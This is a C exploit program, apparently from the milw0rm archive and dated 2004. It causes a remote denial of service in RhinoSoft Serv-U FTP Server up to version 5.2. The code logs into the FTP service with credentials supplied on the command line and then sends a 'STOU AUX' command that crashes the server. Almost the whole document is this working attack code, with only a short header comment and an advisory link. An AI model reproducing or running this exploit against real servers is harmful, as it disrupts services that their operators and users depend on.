RhinoSoft Serv-U FTP Server < 5.2 - Remote Denial of Service

/*
denial of service in Serv-u up to 5.2
str0ke@milw0rm.com - www.milw0rm.com

Advisory: http://www.securitytracker.com/alerts/2004/Sep/1011219.html

Ya its useless.  

*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

#define SERVER_PORT 21
usage(char *name)
{
printf("usage: %s -h hostname/ip -u user -p passwd\n",name);
printf("\t\tstr0ke - Serv-U up to 5.2 Denial of Service\n");
exit(0);
}

main(int argc, char *argv[]) {
 char buffer[1000],host[255],user[255],pass[255],c;
 int sd, rc, i=0;
 struct sockaddr_in localAddr, servAddr;
 struct hostent *h;

if ( argc < 3) {
usage(argv[0]);
}

while ((c = getopt (argc, argv, "h:u:p:")) != EOF)
       switch(c)
       {
               case 'h':
                       strncpy(host,optarg,sizeof(host));
                       break;
               case 'u':
                       strncpy(user,optarg,sizeof(user));
                       break;
               case 'p':
                       strncpy(pass,optarg,sizeof(pass));
                       break;
       }

 h = gethostbyname(host);
 if(h==NULL) {
   printf("unknown host '%s'\n",host);
   exit(1);
 }

 servAddr.sin_family = h->h_addrtype;
 memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
 servAddr.sin_port = htons(SERVER_PORT);
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd<0) {
   perror("cannot open socket ");
   exit(1);
 }

 localAddr.sin_family = AF_INET;
 localAddr.sin_addr.s_addr = htonl(INADDR_ANY);
 localAddr.sin_port = htons(0);

 rc = bind(sd, (struct sockaddr *) &localAddr, sizeof(localAddr));
 if(rc<0) {
   printf("%d: cannot bind port TCP %u\n",sd,SERVER_PORT);
   perror("error ");
   exit(1);
 }

 printf("Trying To Connect To [%s]\n",host);
 rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
 if(rc<0) {
   perror("cannot connect ");
   exit(1);
 }
   printf("Trying Login With [%s]\n",user);
   snprintf(buffer,sizeof(buffer), "USER %s\r\n", user);
   rc = send(sd, buffer, strlen(buffer), 0);
   memset(buffer,0,sizeof(buffer));
while(1)
       {
       rc=recv(sd,buffer,sizeof(buffer),0);
       if(strstr(buffer,"331")) break;
       if(strstr(buffer,"421"))
               {
               printf("Access Denied on your arse..\n");
               exit(0);
               }
       }

   printf("Sending Pass - [%s]\n",pass);
   memset(buffer,0,sizeof(buffer));
   snprintf(buffer,sizeof(buffer), "PASS %s\r\n", pass);
   rc = send(sd,buffer, strlen(buffer), 0);

while(1)
       {
       rc=recv(sd,buffer,sizeof(buffer),0);
       if(strstr(buffer,"230")) break;
       if(strstr(buffer,"421"))
               {
               printf("Access Denied on your arse..\n");
               exit(0);
               }

       if(strstr(buffer,"530"))
               {
               printf("Access Denied: Login Incorrect!\n");
               exit(0);
               }
}

   memset(buffer,0,sizeof(buffer));
   snprintf(buffer,sizeof(buffer), "STOU AUX\r\n");
   rc = send(sd,buffer, strlen(buffer), 0);

   printf("Dos Sent\n");

   if(rc<0) {
     perror("cannot send data ");
     close(sd);
     exit(1);
   }
return 0;
}

// milw0rm.com [2004-09-13]